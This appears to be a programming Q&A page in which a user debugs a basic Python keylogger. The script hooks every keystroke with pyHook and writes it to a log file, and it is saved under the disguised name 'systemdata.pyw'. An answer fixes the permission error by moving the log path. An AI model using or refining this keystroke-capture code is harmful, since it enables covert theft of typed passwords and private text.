2

I've created a simple python keylogger by following this tutorial: https://www.youtube.com/watch?v=8BiOPBsXh0g

import pyHook, pythoncom, sys, logging

file_log = 'C:\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

When I run the program, and type something, i get this error in the console:

Traceback (most recent call last):
File "C:\Users\Adithya1\Documents\pywin and pyhook\Newfolder\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Adithya1\Documents\pywin and pyhook\New folder\systemdata.pyw", line 6, in OnKeyboardEvent
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
File "C:\Python27\lib\logging\__init__.py", line 1540, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 911, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 936, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\log.txt'

It must be to do with the last line, Permission Denied. Any idea what i need to do to fix this? Any way to run it with administrator privilages?

Thanks in advance

Akshat Mahajan
  • 9,543
  • 4
  • 35
  • 44
Tech Planet
  • 31
  • 1
  • 5

1 Answers1

4

Reposting as an answer for future use

The easiest and, arguably, safest way would be to not write the log to the root of C. Change the "file_log = 'C:\log.txt'" to something like "file_log = 'C:\Users\Adithya1\log.txt" instead.

There are other links for finding the home directory of the user to make this more portable.

Community
  • 1
  • 1
stdunbar
  • 16,263
  • 11
  • 31
  • 53